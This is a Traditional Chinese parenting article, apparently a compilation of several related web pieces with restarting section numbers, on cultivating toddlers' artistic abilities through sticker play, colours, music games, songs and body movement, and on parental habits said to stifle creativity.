准備一些不幹膠小貼畫。教寶寶把小貼畫撕下來，再貼到圖畫紙上，也可以貼在爸爸媽媽的臉上，或貼在自己的手背上、衣服上。這些小貼畫可以反復地揭下來、貼上去。如果沒有小貼畫，也可以用透明膠帶代替。這可以鍛煉寶寶手的精細動作能力。適合年齡：1歲以上。
6.看，也聞聞味
把一些味道不錯的東西給寶寶展示一下，比如水果、花等。這樣做可以加深寶寶對這些物品的印象，使他不僅能記住物體的外形，還能了解這些物品的氣味。這對於刺激寶寶的視覺和嗅覺都有益處。適合年齡：1歲以上
二、四種做法，抑制美術才能
1、限制孩子塗鴉。
如果你給孩子立的規矩特別多，要求孩子只能在事先規定的范圍內活動，這會限制孩子自由的思考。或者因為害怕孩子把傢具、衣服等弄臟，而大聲地斥責孩子的塗鴉行為，就會制約孩子創造性的發展。
2、過多地干涉孩子。
當孩子正在專注地畫畫、做手工的時候，你總去打擾他;或者因為到了睡覺時間、吃飯時間，你就強行中斷孩子正在做的事情，這些都會限制孩子們的思考。
3、讓孩子按你的印象畫畫。
孩子畫畫的時候，你總是要求孩子畫頭發必須是黑色的，畫天空必須是藍色的。這樣做只會使孩子的想像力逐漸枯萎。
4、只給孩子現成的玩具。
與那些可以自由分解、組合的玩具比較起來，現成的.、單一的玩具對孩子的創造性幫助不大。
一、什麼時候開始最好
家長對孩子的教育問題是非常關注的，而且現在很多家長都會讓小孩子去接觸一些藝術產品。比如說現在很多家長都會讓小孩子學習畫畫，或者是讓自己的孩子去學習一些樂器，如果你想讓自己的孩子變得更加有藝術感，這個時候你可以讓小孩子早一點去接觸，如果你的孩子已經一歲半了，這個時候你也可以讓小孩子去接觸。因為小寶寶這個時候已經開始有個人的感知能力，並且寶寶的身體也會特別的強壯，所以寶寶這個時候可以不斷地在地上爬行。
二、父母應該怎麼做
但是父母這個時候也不能夠強迫自己的孩子，因為這個時候小孩子的年紀小，所以小孩子也不能夠控制自己的行為。可能你就會發現這個時候小孩子沒有辦法集中自己的注意力，比如說父母會帶自己的小孩子去看畫展，但是小孩子這個時候可能就會對畫展沒有任何興趣，家長這個時候也必須要循序漸進地培養自己的孩子，而且這個時候你也不能夠強迫自己的孩子。
父母平時在生活中一定要觀察孩子，如果你發現小孩子對某種產品感興趣，這個時候你就跟引導孩子的注意力了。父母的教育方法對於孩子的成長是非常有幫助的，如果你希望小孩子有藝術感知力，這個時候你就必須要找到孩子的興趣，這樣才能夠讓孩子變得更加優秀。
一、為寶寶准備充足的藝術材料
為寶寶准備各種各樣的顏料，讓他自由地探索各種顏色帶來的快樂，或許不久之後您就會發現，寶寶創作出了一幅「印象派」畫作;為寶寶准備各種各樣的小樂器，讓他自由地彈奏、敲擊或吹奏，或許不久之後，您會發現寶寶創作出了一首令人「情緒激昂」的「軍隊進行曲」。
二、與寶寶一起創作詩歌
3歲前寶寶語言的發展非常迅速。您從來沒跟寶寶講過的話，他突然有一天自己會說了。如果您經常與寶寶一起唱兒歌、讀詩歌，潛移默化中，寶寶的語言能力就會得到很快的提高，寶寶的創作能力也會相應地有很大提高。
三、與寶寶一起做音樂游戲
在寶寶最喜歡的活動方式——游戲中，讓他體驗音樂的樂趣。音樂與游戲的結合可以讓寶寶在游戲中自由地進行創作和表演，更直觀地感受到音樂的抑揚頓挫。
四、用身體動作來感受藝術
3歲前寶寶的思維特點是動作性思維佔主要地位，因此，在培育寶寶的藝術能力時，要注意讓寶寶用具體的身體活動來體驗和感受藝術。比如，寶寶喜歡「小燕子」的歌，您可以讓寶寶揮動胳膊學燕子飛，感受小燕子是怎麼飛的.。
五、重視藝術感知與體驗
藝術感知與體驗是藝術創作與表現的前提，並為創作與表現提供素材。因此，您不能只注重寶寶創作了什麼，而應該注重寶寶創作以及創作之間的這個體驗的過程。藝術的巨大潛能在於它的不確定性和無限表達空間，培育的方式千變萬化，每個寶寶的具體情況也不一樣，關鍵是您有沒有從觀念上重視寶寶的藝術能力的發揮。寶寶能夠在藝術活動中具有初步的感知與體驗、創造與表現、反思與評價的能力，但最重要的是能夠體驗藝術的快樂。如隨著節奏感強的音樂晃動手臂、隨著搖滾樂一扭一扭；或者對顏色特別敏感，可以隨性塗抹出自己認為好看的圖案，並隨著年齡增大，寶寶對顏色的認知與表現能力會越來越突出。